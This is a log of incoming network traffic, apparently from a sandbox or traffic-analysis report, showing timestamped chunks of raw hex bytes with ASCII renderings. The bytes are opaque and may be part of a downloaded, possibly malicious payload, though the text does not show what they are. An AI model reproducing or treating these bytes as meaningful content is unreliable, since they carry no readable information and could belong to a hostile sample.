2021-09-27 18:33:32 UTC	1297	IN	Data Raw: f9 36 1e ae 92 4b 68 bf d8 35 ad ad 9b 70 2b 61 43 15 a7 9d 03 18 46 78 f7 77 2a b9 9a 10 ca f8 6c 85 3c 61 93 6e ad 4e 4a 18 3c 15 33 29 d9 eb 52 55 a2 6f aa d9 ab 6e 75 c2 17 15 cd 78 f4 0c df e6 93 74 8d ff 3d 27 5f 61 30 a2 f4 40 9c d1 47 9e 8d 24 cf 7a 31 15 23 4f 3f 5f 88 ef bd 94 ff c6 02 91 d1 c4 a7 5e 0a e4 4c 82 b9 9f 9d ad cd 01 6f 4f 0b a8 e5 88 7a ac a3 b8 75 8e c5 60 d1 ce dc 1f 26 52 61 5f 4c 7c db 58 14 15 12 af 59 1b 3b f9 62 62 52 b1 10 99 41 ed 91 e9 9a ae 96 5f fd 75 eb d1 de a2 ad 53 a3 14 ec 16 40 eb 7d 9c ec 11 5e 9a 5d f2 f4 3f 8f c9 9c b9 7c 8f cf 0c 71 05 2e 0d 8b b4 90 0c d1 25 19 3f 0a 61 1b f4 6a e4 c3 d2 1f 83 51 b9 73 e0 d8 5b 60 fd 1a 98 df 66 d4 b8 e0 b3 08 b3 ba 5f 27 88 7c 59 0b 33 9f 0c 87 a9 60 f0 0c 14 29 f6 c4 3f a8 Data Ascii: 6Kh5p+aCFxw*l<anNJ<3)RUonuxt='_a0@G$z1#O?_^LoOzu`&Ra_L\|XY;bbRA_uS@}^]?\|q.%?ajQs[`f_'\|Y3`)?
2021-09-27 18:33:32 UTC	1301	IN	Data Raw: 6f 73 47 6d 4f 06 c5 60 d0 4f 81 85 1c 88 39 37 65 ee 08 a9 60 8d a4 50 f3 db ef 5e 76 a9 75 3d e3 e7 4b 32 84 de e6 c9 e4 a1 c3 30 96 2f 63 27 e7 b4 32 f0 75 0e c0 32 9f 79 3f 54 34 88 30 72 65 06 b5 bb 1d 7f c3 ce 77 31 c8 83 67 89 ae 62 1c 40 9e e8 12 9f a1 c2 38 2e 4d 7d 36 6c 4e dc 0a 7d 72 81 e7 c5 6e 7f a0 d5 93 90 ac cc 4f bd 80 27 a5 c5 70 f0 18 85 bc ca 56 7d 59 23 c8 fc 08 b0 1f d3 37 3b c8 a1 44 ae 35 63 c4 26 d7 93 6c c6 b2 a4 d6 5f c9 cc 1b d5 31 2c 70 71 39 df 0e 58 19 a5 3a f6 9a a4 a3 00 25 13 33 d8 8a f6 f4 74 48 34 20 ce b7 60 f1 12 7d be 90 61 e4 15 8d 05 24 49 15 86 dc a9 e0 ab d5 c9 8a 4b f0 a7 df 22 da 15 86 e2 eb 60 28 c0 ca b1 85 9e 88 df e6 a1 28 f5 43 6f 2d f3 44 22 ee 52 95 3c 14 9a b5 75 a5 9f 16 df 7b 9d 31 41 3f c1 c3 bb e1 Data Ascii: osGmO`O97e`P^vu=K20/c'2u2y?T40rew1gb@8.M}6lN}rnO'pV}Y#7;D5c&l_1,pq9X:%3tH4 `}a$IK"`((Co-D"R<u{1A?
2021-09-27 18:33:32 UTC	1305	IN	Data Raw: 4f 14 b7 b2 5f 3e e5 9d f8 93 c7 89 29 a7 2e ff 07 46 43 f7 4d 8f a7 1b ea d2 e6 59 6a 21 82 8f c5 8e da 8b f4 92 e3 96 10 d1 ed e0 e0 90 bb 7d 00 3d 42 b2 96 3d 73 03 1d b9 ed b2 9f 6e 7b e5 15 7b 00 00 f5 66 38 f4 5c ce 9d 46 c9 2a 25 54 1b e6 40 9d 24 8a 3d ca 5b 82 f7 87 d1 0c cb a3 78 78 25 1b 48 ab 88 37 e5 18 6e 81 20 23 e1 60 3d a8 fc 69 0e 87 79 0b 53 b0 b1 3e 72 f7 9a ef 9f 9c 25 89 5e a0 d0 e8 d3 78 94 c3 7b 64 f2 f6 d0 33 09 1a f0 70 d9 2a 56 da 1c de 37 c7 8f 65 41 25 80 46 d5 2b 5d 46 cb e5 c3 a3 fa 5b 1a 89 dd 4a 71 06 c5 12 7b 04 12 2f d1 36 e8 ff b3 53 88 aa 7a 58 f0 47 14 bb 9b 66 21 77 80 11 d7 00 fa ca 33 00 2d ed a2 de 46 08 55 b8 93 49 ce de b6 ce 05 8d 27 99 d9 16 93 43 e5 a7 93 13 de 13 da 0d ee 56 cb 92 28 0b cf f5 27 9c 8f 39 b8 Data Ascii: O_>).FCMYj!}=B=sn{{f8\F%T@$=[xx%H7n #`=iyS>r%^x{d3pV7eA%F+]F[Jq{/6SzXGf!w3-FUI'CV('9
2021-09-27 18:33:32 UTC	1309	IN	Data Raw: 8a 9e 23 d1 71 4d f5 c1 e9 b8 6c 9d 0f cb 0f f3 bc 83 28 c9 16 da eb 2f a1 f1 ba 52 29 f7 28 59 ad 28 43 61 0d d1 d4 fd d2 19 1a ed 88 be 09 96 53 59 04 4c e2 f4 47 44 66 ff c4 c3 9a a2 b5 c8 c7 5b 9f 04 b0 20 08 22 77 54 60 f3 fb 69 dc a5 8f ea 24 72 3a c8 50 df d2 7e a0 4c 44 99 c1 92 51 f0 ba 84 41 57 c1 1e b8 88 1f 19 f3 4d d9 01 e8 ef cc 5d 33 b8 a4 8d 03 ec 0f f8 6e 61 e1 a0 b0 7e da 8a c1 f1 e4 5d 36 58 4d 9e a8 66 9e 02 ef 34 dd 04 0e fd 15 e8 53 bf 3a 9e 23 b0 e4 f8 25 92 28 db 22 d4 93 76 e3 5e ef bc 2e 93 fe 56 cf 2c 94 04 73 1c 63 16 77 1a 32 6f 76 7b 9e 27 a1 73 82 f9 dc 41 a1 07 8e f2 7f 8a 90 8e 98 4d 00 c8 e9 89 c7 56 72 a6 d5 18 28 a0 39 bf 1c 16 8a f9 22 ba 25 a4 bc 03 57 17 3a e0 01 fe 07 6c ff 61 7b 11 36 6e 88 67 9b d4 2f 8f 52 96 04 Data Ascii: #qMl(/R)(Y(CaSYLGDf[ "wT`i$r:P~LDQAWM]3na~]6XMf4S:#%("v^.V,scw2ov{'sAMVr(9"%W:la{6ng/R
2021-09-27 18:33:32 UTC	1312	IN	Data Raw: 54 9c 02 9b b4 8b 27 07 91 ea dd 4b 26 da 41 08 93 d9 00 43 55 4c 21 58 bf 05 3c 19 47 7c 16 d8 3d b3 7d 70 41 8b bd 01 08 ed fc 97 2d fc 8d 2d 86 f9 0d 2c bc 31 d7 ec ea 75 07 fd c0 a0 11 b7 2f 2b c5 96 f3 df 0e d3 bf 9f 8e a6 93 78 b7 b0 29 59 2e 2b 48 ac c6 49 28 d5 ee 8d f6 a5 6f 2a c5 be 76 90 66 fe 04 46 15 42 80 5a 92 ba ad eb f7 77 02 3c 18 a7 46 c6 2b c8 79 1d 80 96 d8 12 b7 3a 69 42 c8 19 2a 13 be 7b 30 ac 62 04 9a 45 8f 53 4e c8 95 42 f4 9a cf 60 e6 20 04 e7 6e a2 8d 2a 09 ec c2 4e cd a8 84 08 75 90 b9 a2 08 97 e5 2e da 29 54 8e 10 81 21 1a 54 54 ef 08 3c ae 30 fb 80 35 d6 4d 05 6e 01 a9 72 90 97 73 d4 f3 7f b4 90 94 3a c5 11 0d 37 e1 d9 44 6d a2 5d fb 06 8a 4b d8 57 d0 5b a0 a6 25 de d7 e2 7d b2 1d ba 83 7a a1 f9 63 20 a4 8e 5b 28 98 ca 45 bb Data Ascii: T'K&ACUL!X<G\|=}pA--,1u/+x)Y.+HI(ovfFBZw<F+y:iB{0bESNB` n*Nu.)T!TT<05Mnrs:7Dm]KW[%}zc [(E
2021-09-27 18:33:32 UTC	1316	IN	Data Raw: 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb 68 90 72 8b f2 68 92 76 8e 49 c5 2f ee 55 4b af c5 4b a9 8e 74 f9 ac 53 7b 3f b2 22 32 14 91 cd 67 65 6f 09 6c 89 b2 3b e8 b2 3a 11 51 32 04 fa 54 ba cf 76 db 60 96 13 4f 38 05 18 b4 3f e8 b5 ca e1 41 8d c9 7b 3e 3c 32 6c 9a 57 45 db 64 ee 55 4b af c5 4b a9 8e 74 f9 ac 53 7b 3f b2 22 32 14 91 cd 67 65 6f 09 65 0b 59 5d 10 d0 f2 46 56 d5 07 6e f6 20 52 bf 56 d3 06 92 13 4b cc fb 9d fb e0 a3 85 c2 a5 bd 5c f1 da b4 12 a3 9e 2e 66 8b a4 08 8e 42 31 94 7d 21 c7 4b df 6e fe 5e f5 fc 74 f9 b6 1f ff ff f3 d9 16 9e 27 c5 79 0d 0d 06 Data Ascii: No`Ao<*i?0Rt#e^Ikz-Bs3!j,\|}91Fb[hrhvI/UKKtS{?"2geol;:Q2Tv`O8?A{><2lWEdUKKtS{?"2geoeY]FVn RVK\.fB1}!Kn^t'y
2021-09-27 18:33:32 UTC	1321	IN	Data Raw: 71 75 5f 5e a7 b8 80 97 b1 81 7c 91 a2 08 d9 55 12 95 ac 0d 65 4d ff c4 9d d9 4f 23 99 c1 16 95 ac 0d 65 18 ff 8c 16 89 8f b8 80 de db 74 dc a5 d2 d0 ba e3 67 1d 8b e6 ef eb 7b 19 81 0f 69 27 a3 ae 68 ae 68 81 7c eb 7b 14 f5 f2 0c 86 08 ab e1 16 fa 6b 47 91 a2 18 ff a3 cd 4a 77 05 51 6c c9 40 5f 58 99 f3 8e 1d 8b ed 80 98 33 a4 50 f5 93 d5 46 1b 86 60 ac 37 ca a3 cd 4a 77 05 51 6c c9 5a 9e 24 1c 67 3d bc 8a 74 dc 80 f9 95 ac 1a 04 ae 68 a4 50 f5 93 c2 98 46 6e 9a 38 4b fa 66 bb 66 bb 63 33 ae 68 af ea b5 f9 9a 38 35 c5 7e f4 74 dc b9 02 bf 11 3d d8 cb 2e 40 5f 4b fa 4c 7c f3 8e 72 d8 bf 11 28 26 22 17 08 d9 27 a3 99 b5 fa 1f f4 10 89 8f ca ab e2 e5 6c c9 44 69 23 99 d0 ba f7 98 47 f0 74 dc f7 98 4a 77 16 fa 70 d3 2c 2f d3 41 8f 9d 9f c4 fa 1f fe 28 4f 03 Data Ascii: qu_^\|UeMO#etg{i'hh\|{kGJwQl@_X3PF`7JwQlZ$g=thPFn8Kffc3h85~t=.@_KL\|r(&"'lDi#GtJwp,/A(O
2021-09-27 18:33:32 UTC	1325	IN	Data Raw: c4 9d cb 2e 14 f5 f8 1a 67 3d b7 fe 4c 7c d0 ba e8 f4 7f 77 16 fa 79 68 e0 e0 8c 16 95 ac 11 6e ba 85 eb 7b 02 ca c8 a7 f7 98 54 8f f3 8e 72 d8 bb 07 39 ce d8 cd 56 94 5b 20 32 3e 28 26 4e 81 0e e7 03 4c 39 ce 90 20 77 64 db 54 ee 02 a4 50 a6 55 73 5a be 8e 7e f4 66 bb 66 bb 6f 50 a6 55 66 bb 74 dc a2 4b 97 b1 cf 37 a6 55 7d 72 aa 5e d3 41 8c 16 95 ac 00 c5 3f dd 3d d8 a8 5a f5 93 c4 9d d0 ba c1 16 e5 6c a4 50 f4 10 83 80 9f c4 bd 0c 90 20 77 64 de db 20 12 9e 41 8c 16 9b ba a5 d2 c6 a2 29 a8 7a eb 1f 90 45 eb 08 d9 3a 51 28 26 46 6e a0 46 07 56 f1 89 ed 80 d9 4f 7a eb 1f 90 41 e2 80 f9 ee 02 a6 55 73 5a be 8e 68 c0 fa 1f b0 6d 6b 47 83 80 dc d7 6c c9 09 5b 55 12 9f c4 f8 1a 49 f5 bc 8a 62 b1 81 7c 9f c4 fe 28 6f 50 a6 55 66 bb 75 5f 45 eb 0b 60 dc d7 3e Data Ascii: .g=L\|wyhn{Tr9V[ 2>(&NL9 wdTPUsZ~ffoPUftK7U}r^A?=ZlP wd A)zE:Q(&FnFVOzAUsZhmkGl[UIb\|(oPUfu_E`>
2021-09-27 18:33:32 UTC	1329	IN	Data Raw: a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f Data Ascii: K n=3K n=3K n=3K n=3K n=3K n=3K n=3K n=3K n=3K n=3K
2021-09-27 18:33:32 UTC	1333	IN	Data Raw: 9d 85 b6 42 cc 89 1d b2 f6 2c 3e 62 9e 79 69 75 8f aa c1 21 fb 96 73 6c 69 74 46 58 ee 34 1b b3 90 15 26 15 46 5a a4 64 80 cd 01 7c de ef ae 5c 85 b1 cd 07 48 41 fa 2e 15 48 9c 3d d8 cd 67 3d dc a7 d7 4b fa 20 71 6a 9d 81 85 bb e8 ca e0 dd c9 14 8c 2b c7 19 be b3 f6 29 43 da 66 87 f3 b2 51 33 23 a2 c0 a8 01 73 1f ab c0 a8 51 32 d2 85 2a 10 77 5e 36 7d f9 a6 d6 f2 7e ce de e1 07 6c 94 13 3e 60 e8 ce 89 b5 ca 91 aa 64 b7 c7 8c 2f 16 c3 8d a0 d7 72 ad df 00 fc 6a fd e7 48 4b c3 36 7e d0 83 9d 86 1d b2 7e cc 55 2a f1 b1 5a a6 f7 a0 de e3 e9 4e 03 74 a9 e4 cb 16 e3 5f 20 2a 2c 18 0b 57 c9 1e db 63 fd 91 64 81 c2 af 5c 94 87 bd ac 54 13 44 f1 be 1a 33 50 b1 63 04 47 c7 a0 71 d5 71 29 9f bc bd 78 d1 4c 4b 96 19 e9 41 86 3f bd 3b 8f aa 06 e3 33 f7 c8 90 68 f7 a0 Data Ascii: B,>byiu!slitFX4&FZd\|\HA.H=g=K qj+)CfQ3#sQ2w^6}~l>`d/rjHK6~~UZNt_ *,Wcd\TD3PcGqq)xLKA?;3h
2021-09-27 18:33:32 UTC	1337	IN	Data Raw: 95 16 cd 85 b2 c0 a4 fe 1f 3a 66 1d bc 28 11 f0 30 a3 fa 89 b8 12 c7 cc 86 ec cb ce 83 5c 95 74 ea 2c 19 51 3e 96 18 37 fc e4 dc 77 52 06 e2 6c ff d3 77 02 fc 46 58 c7 12 ab d7 07 60 e4 dc 93 91 e2 d3 7d 44 51 3e 6e f8 2a 1c 25 a8 72 ee 26 17 5d 13 6f 66 a3 fb b5 cf 27 95 a0 70 db 62 b5 cf 37 ff 57 22 ef b1 1b b3 04 fa f3 bb ef b1 0b 55 f2 39 12 c4 45 de 0f 5c 73 6f 9c 08 11 5b e4 df 9e 74 60 99 0d 50 32 0b d0 8f 31 8e b3 c1 b2 47 50 b3 68 f5 0b 55 86 3d 48 46 e2 d0 32 0b e4 df de ee 7e c1 6e fb d5 73 2a 1f fc 11 06 e1 07 63 53 38 10 d9 17 48 27 96 7e c1 5a ab a9 e9 32 0b 20 27 9f f1 b1 da e2 d0 96 1b a6 60 bc be 72 ec 05 65 dc e3 b7 ca 63 07 92 11 ae 5c 1f a4 e8 c0 27 97 01 7c 5c 97 19 b5 5d 11 ce 81 e0 d4 5b 14 61 1b 16 ce 39 fa 97 85 01 7c 70 e7 0d 51 Data Ascii: :f(0\t,Q>7wRlwFX`}DQ>n%r&]of'pb7W"U9E\so[t`P21GPhU=HF2~nscS8H'~Z2 '`rec\'\|\][a9\|pQ
2021-09-27 18:33:32 UTC	1341	IN	Data Raw: 41 df 67 00 f1 b4 51 35 e7 4c 69 7f 67 00 c6 9e bf 2d 43 da 3e 66 64 8a cb 12 3c 6a 0c de 60 90 96 12 58 a5 76 dd ce 89 1d b7 7b 51 88 31 c8 9b d4 ff ca 97 ed bc c5 23 d3 7d 4f 3f e5 50 ad da f4 2c 36 7b 79 54 88 31 b9 39 3b e8 04 f4 f3 b5 27 98 e2 de 17 46 d1 07 fc 1f 0c d9 df 65 bb 3c 28 1d ee 39 ae 53 5e 9c 71 6e 8b af d4 f8 2d 89 bf 2a 03 77 46 55 09 60 b8 bb 0a e6 e9 4c 83 ba 7d 48 82 c4 77 5e 44 53 d1 06 01 72 16 c0 54 b5 39 f4 a9 e6 5d 1f 3b e9 d2 85 18 c5 89 b5 76 db dc ed 01 72 a2 71 26 1b ea c2 fd 9c 63 09 0c d8 9d 85 cc 8a 53 37 f1 b3 c0 a9 f1 b3 d2 85 9a 02 d2 85 94 13 79 51 f5 aa af d3 a5 eb a5 eb ae 51 c1 2f 0a e4 ea c0 6f 68 38 74 28 1e fd 9e ad de 33 f8 fe 10 0c da 0e df 86 30 e9 4e 31 83 1c 31 23 a1 5d 1d 1b be 02 f2 84 3b 57 2f 36 7f 0b Data Ascii: AgQ5Lig-C>fd<j`Xv{Q1#}O?P,6{yT19;'Fe<(9S^qn-*wFU`L}Hw^DSrT9];vrq&cS7yQQ/oh8t(30N11#];W/6
2021-09-27 18:33:32 UTC	1344	IN	Data Raw: 88 5d 1c 45 d3 f1 b1 ec ca 41 d5 9a 0f de ec 71 62 c4 aa 30 0e ca 9d 68 f6 a8 6c bd 39 96 1b cc 85 b9 37 e4 de 2d 86 fa 2b 43 d2 55 26 c7 10 0e d3 91 96 e7 45 ba b6 48 41 3f ef e2 d7 0a ef aa 6f a2 7a 37 fb 14 c4 95 9c d8 fd 30 09 2f 86 32 3e 5a 9e e5 6c c8 37 ca 94 df 61 11 50 18 c1 05 6c 47 cd 07 6a a2 70 0a e6 2b 96 85 be a1 f3 75 65 f0 3d 47 ca c3 20 22 2d 9b 83 ce 8d e8 cc e4 d2 a1 fe 51 3f 80 ce 87 bd 21 a3 29 9e 94 1c 70 e6 c8 92 32 0d 93 94 c6 91 73 69 82 cd 92 16 66 88 5a ad ae 5b 60 9f dd 6a d0 88 b9 30 9c 0f f0 35 ab d3 28 14 ba b7 b4 44 44 5b 2d 83 5b 11 5f 1b a7 e6 fb 90 24 2c c2 a8 84 33 13 43 20 22 1b 86 08 d9 cf 37 cb ae 68 c0 93 98 e2 da 54 b0 3b ed 7b 53 25 a0 62 8f bd 32 22 29 b0 53 19 bf 01 76 ed be 86 36 43 db a8 67 e1 5e 61 12 4f 3e Data Ascii: ]EAqb0hl97-+CU&EHA?oz70/2>Zl7aPlGjp+ue=G "-Q?!)p2sifZ[`j05(DD[-[_$,3C "7hT;{S%b2")Sv6Cg^aO>
2021-09-27 18:33:32 UTC	1348	IN	Data Raw: 63 03 2d 82 d8 fd b2 72 d8 cd cf 37 ca 6b 47 f0 07 69 b8 bf fa 20 a8 65 9e 7e 88 32 54 b0 26 1e 22 28 2f 88 f2 32 fb 9f 57 29 c6 9c 69 7c bf 2f 94 14 0a e0 13 4e 6f 6d 9a 04 5b 1b e1 58 cc 8b aa 65 14 cf cc 8a dc ed 1f aa 14 cf 0f 53 2c 15 77 5d 91 9b 32 07 26 18 a1 f0 41 da 28 1e e5 54 6c f1 5f 12 31 83 f8 22 4b cd 94 1e 7a dc 84 34 07 61 6f 67 3c 60 43 d0 74 ea a0 70 c0 a5 dc e2 2c 1a 09 6f 3e 69 32 0c 18 cd bf 23 f5 a1 a9 ee 4f 31 86 3a 7d 40 47 c1 ff 9a 8c 27 22 26 4f 32 05 60 88 3c 45 db a7 e7 c6 92 5e 97 81 4c 60 ac 63 33 68 c0 93 17 7d 4d d0 85 9f fb a4 6e 08 e7 e4 d4 42 5a f3 b0 2b 90 c8 9a f6 29 4d c3 fb 9d 62 8d 40 63 e6 d3 90 1c c4 a1 00 f9 59 27 62 8d 24 20 ab dd ec c1 a7 eb d6 f4 b9 3e 36 7b 08 e2 13 48 d0 81 2d 88 df 64 75 65 b0 57 29 91 68 Data Ascii: c-r7kGi e~2T&"(/2W)i\|/Nom[XeS,w]2&A(Tl_1"Kz4aog<`Ctp,o>i2#O1:}@G'"&O2`<E^L`c3h}MnBZ+)Mb@cY'b$ >6{H-dueW)h
2021-09-27 18:33:32 UTC	1353	IN	Data Raw: a6 21 d4 a6 39 a7 91 d6 ad a1 c9 29 a8 5a df 3b be ef ca c3 6e af ba e9 1a 71 13 07 33 87 8a 11 6e ce c7 4b 88 7f 32 4a 04 ae 24 68 a5 95 ac 63 33 c0 f6 78 8f c9 45 8a 72 b7 b2 06 b1 a8 5a 9e 41 e2 a4 3f bb 69 0b 05 3d b9 61 40 13 07 33 87 8a 11 6e ce f4 75 32 5f 64 d3 2d db 12 94 45 9e 25 f1 c4 e9 13 34 42 64 b6 7b 2c 4a 1b e2 8b f5 db 31 d7 3e 3e 35 88 79 0d 22 17 7d 72 d8 be fd c3 68 a4 34 03 2f d9 3d 88 79 0d 22 17 7d 72 d8 a8 36 23 f7 f9 d4 a7 a3 9e 35 a0 01 48 73 5a 9e 35 bd 69 36 29 c7 67 59 7a 8e 69 2a 7e 80 9c 7a eb 7b 6d 29 c4 fc 47 9f 88 69 23 fc 56 fc 70 a7 b2 35 c5 1f 90 20 66 d5 33 af a9 b7 9d d6 9c 49 90 67 3d d8 cd 33 ae 07 3f ae 1a 61 79 1c 6c 8e 1b 86 08 98 4b bf 7f 18 96 5d 57 72 8e 6f 35 82 fe 28 26 21 d4 ae 07 22 56 f0 63 72 b4 17 1f Data Ascii: !9)Z;nq3nK2J$hc3xErZA?i=a@3nu2_d-E%4Bd{,J1>>5y"}rh4/=y"}r6#5HsZ5i6)gYzi*~z{m)Gi#Vp5 f3Ig=3?aylK]Wro5(&!"Vcr
2021-09-27 18:33:32 UTC	1357	IN	Data Raw: 9e 41 90 41 a0 2a 46 01 3a 32 6d 3b bc e2 b6 7b 6d 4c 7c 87 e5 08 b7 97 e6 98 5c cb 7d 72 d8 cd 72 b7 98 5d 6c ba f7 fd d2 da bf 70 a1 a8 0a b0 08 ad 95 d5 15 78 e6 ef 84 76 8f f8 57 67 48 03 23 c9 42 07 37 b8 d4 c3 1a 04 cf 5b 45 88 6e 8f ee 7b 3e 13 37 87 ef f0 66 d7 38 22 76 93 f3 8e 1b 86 08 bc ed e1 10 9f a1 84 66 cf 56 f8 69 2c 4e f3 da d2 bf 11 16 bf 7a 84 6c 81 0f 1e 62 d5 28 4f 54 e4 85 ea 90 4e d4 c3 1a 04 cf 76 92 56 f5 ff e8 86 6d 38 3f b4 11 0b 12 9f 91 a2 4b fa 1f e7 1e 69 2c 46 39 ab 95 cd 57 67 68 c0 93 a7 b2 15 19 f2 7f 12 bc fe 41 83 d7 4b fa 1f e4 84 6a ab b1 82 91 d0 fc 53 62 d5 28 4f 54 8f 9d bf 50 fe 6d 3b bc ee 6c a0 11 0b 14 94 4c 0e a4 50 86 08 d9 23 f5 f7 b6 49 c6 d0 df 2d c7 24 1c 6a ab 8d f5 d2 d3 20 71 3a 1d 8b 94 29 cd 56 e6 Data Ascii: AA*F:2m;{mL\|\}rr]lpxvWgH#B7[En{>7f8"vfVi,Nzlb(OTNvVm8?Ki,F9WghAKjSb(OTPm;lLP#I-$j q:)V
2021-09-27 18:33:32 UTC	1361	IN	Data Raw: cf 32 de 1f 90 25 7e 4c 7c f5 73 f2 0c e7 91 34 42 61 cf 4d ff ae 88 63 33 c5 ff f7 98 36 a7 99 b5 fc c4 df 5e a2 ab d1 3c 53 ed a2 4b ff 4b ea f8 1f 70 d3 41 e7 ae 86 08 dc 08 01 48 76 3e 9e 41 e7 ae da d2 ba 5a 3e 5a 9b 65 b6 7b 68 1f ec fd a3 12 81 7c f5 4c 18 ff ae b7 b0 6d 49 2a 12 f1 8c c9 01 48 76 3e 4a 77 61 f1 71 55 17 a3 2f b6 7e 2a e2 e5 69 9c 85 85 80 27 0b 60 a9 02 50 86 0d bb 95 ac 66 65 b0 6d 4c 7c f0 07 53 d3 2f b6 7e 2a 4a 77 61 f1 db 54 8a cf 75 5f 2f 68 f0 07 56 94 29 a8 5f f4 06 d4 c6 7c f6 15 7d af 18 ff ab e1 63 33 c5 c2 48 73 5f f7 22 17 78 3b 79 68 c0 93 a7 d7 4b fa 1f 90 20 12 f1 89 8f 9d bf 11 6e ce b5 f9 99 68 88 0d 60 59 ed 80 f9 9c 3d d8 cd 33 c0 93 a2 9c 2d b2 77 b9 26 21 90 d5 12 f1 89 8f 9d bf 11 6e ce b5 fc f2 e0 e0 e5 b1 Data Ascii: 2%~L\|s4BaMc36^<SKKpAHv>AZ>Ze{h\|LmIHv>JwaqU/~i'`PfemL\|S/~*JwaTu_/hV)_\|}c3Hs_"x;yhK nh`Y=3-w&!n
2021-09-27 18:33:32 UTC	1365	IN	Data Raw: bf 6e 31 bb 45 9d 1b 86 7a 6b bd 0c a0 30 b5 f9 c0 cf fa 1f d2 c9 51 08 d9 4f 83 80 bb 71 35 c5 1f 90 ab e1 21 e3 2b ad e6 ef 7b 6d 0e 91 96 2e 34 ce 4a 77 26 57 37 ca ab 1e f2 0c a0 30 35 c5 93 13 a1 c9 6b 32 ca ab 58 43 19 81 3e 2f 56 94 ed 64 49 f5 d1 49 31 bb ca 40 a0 46 2c 5a 36 47 3d 22 e8 f4 52 fe bc 8a f7 68 3a 51 4a 02 b6 7b 9d 40 af ea ba f0 63 33 3a ae 9d bf 53 78 b6 7b 92 da 22 17 3f a8 62 b1 68 78 38 4c 3e 2f 96 2e 81 98 cc b0 2f c3 1e 0d c8 79 97 b1 ad 92 c9 29 7d 9d 40 5f 68 b4 a6 55 f2 f3 71 55 50 f2 b4 76 0f 9c c2 98 71 21 35 c5 e5 8a f7 98 71 21 1d 8b 6b bf e9 76 a3 b9 72 d8 32 c6 52 8b d6 bc d6 c8 14 2b 58 99 f7 ec bd 0c 35 2e ce b5 bb 73 76 e1 bf e4 1f 90 62 c5 0b 60 70 2b 52 8b d6 bc 8a 11 9e be 71 55 50 f5 7b 6d aa ab 1c 09 19 f2 c0 Data Ascii: n1Ezk0QOq5!+{m.4Jw&W705k2XC>/VdII1@F,Z6G="Rh:QJ{@c3:Sx{"?bhx8L>/./y)}@_hUqUPvq!5q!kvr2R+X5.svb`p+RqUP{m
2021-09-27 18:33:32 UTC	1376	IN	Data Raw: 39 cb 5a 5e 22 d0 31 53 48 8c e9 8d 8b 5e 4f f7 dd d4 23 cc 3b 2c d4 d2 4e 69 a2 0e 6a 12 c2 68 f3 71 5d 61 99 ba 6d 01 c3 e2 a0 cd e0 d3 be 9e 15 ce ba 69 17 f6 e9 33 4b cc 3b d7 a5 51 0d 11 98 b6 8c 9d 47 8d 12 ea 73 5e 4c ff ae 1c d2 3a ad bb 8c 16 fa 1f 91 4e c4 5a 7a ae e1 16 84 c3 9f c4 16 fe c0 10 e9 02 0a 58 65 7d f9 9c 3d d8 cc 58 dc 10 cc 39 aa 6e 31 df 5e e2 db 0f 01 1d 4b c9 d6 33 d5 6c 21 6d 09 d0 45 10 f9 ae 80 05 14 7e 08 9c b4 8e 4e 08 29 e5 e5 98 6e 47 10 b1 66 60 9f 93 f1 da 32 fa 9c d1 b7 ab e1 63 33 85 85 c9 29 e1 63 75 5f 65 38 1e 0d 35 c5 4d ff ee 02 99 b5 ac 63 33 c0 85 85 85 85 85 85 c5 1f b1 ef a7 d7 6f 50 b1 ef b1 ef a7 d7 6f 50 c6 a2 68 c0 cc b0 32 3e 73 5a b6 7b 47 f0 21 95 f2 0c c7 24 38 4c 5f 2a 6a c4 c9 29 f7 98 6c c9 6e ce Data Ascii: 9Z^"1SH^O#;,Nijhq]ami3K;QGs^L:NZzXe}=X9n1^K3l!mE~N)nGf`2c3)cu_e85Mc3oPoPh2>sZ{G!$8L_*j)ln
2021-09-27 18:33:32 UTC	1392	IN	Data Raw: 56 cd 4d 7f 4e f4 0a 25 1d 8e 6f 50 c3 df de de e0 e7 fa c4 ae 98 b8 7a 60 fb f7 cb ed 81 cc 73 9a 0b 63 47 f1 bd 74 5c a5 a6 55 1f ea 78 e6 aa d2 cf 22 9c fe 29 18 3c 96 1d 88 78 e6 db 2c af ec 89 8f 90 5a 1e 0d 20 9e 31 ae e3 a4 0b 3e 05 59 49 0a cd b8 80 f9 9c a5 55 99 55 67 c2 66 38 02 35 3e 20 77 8c 46 91 5e f1 02 22 17 7d 72 40 d8 46 b8 0b 30 f9 87 7f 76 1a 84 23 e5 6c 37 49 bb f7 13 5b 5e 67 b8 88 4d 74 dc d7 4b 62 36 cc f0 72 d8 cd 33 c0 0f d6 4b fa 1f 90 bc 05 ae 27 dd 59 1b 86 08 45 54 0c ba 6e ce b5 f9 00 42 9b 5a eb 84 fd 25 d0 45 10 96 94 c1 46 91 5e f1 69 aa 5e a7 d7 d3 c6 29 7e 7f 27 63 28 d3 40 a4 d0 9a 44 69 bc 09 15 88 86 20 6c 09 de d3 01 c3 1a 04 cf af 6d c7 db af 9d fe c0 93 e3 9b c6 ca ab 8b d5 33 c0 93 a7 d7 d7 f4 93 f5 e6 34 c6 a2 Data Ascii: VMN%oPz`scGt\Ux")<x,Z 1>YIUUgf85> 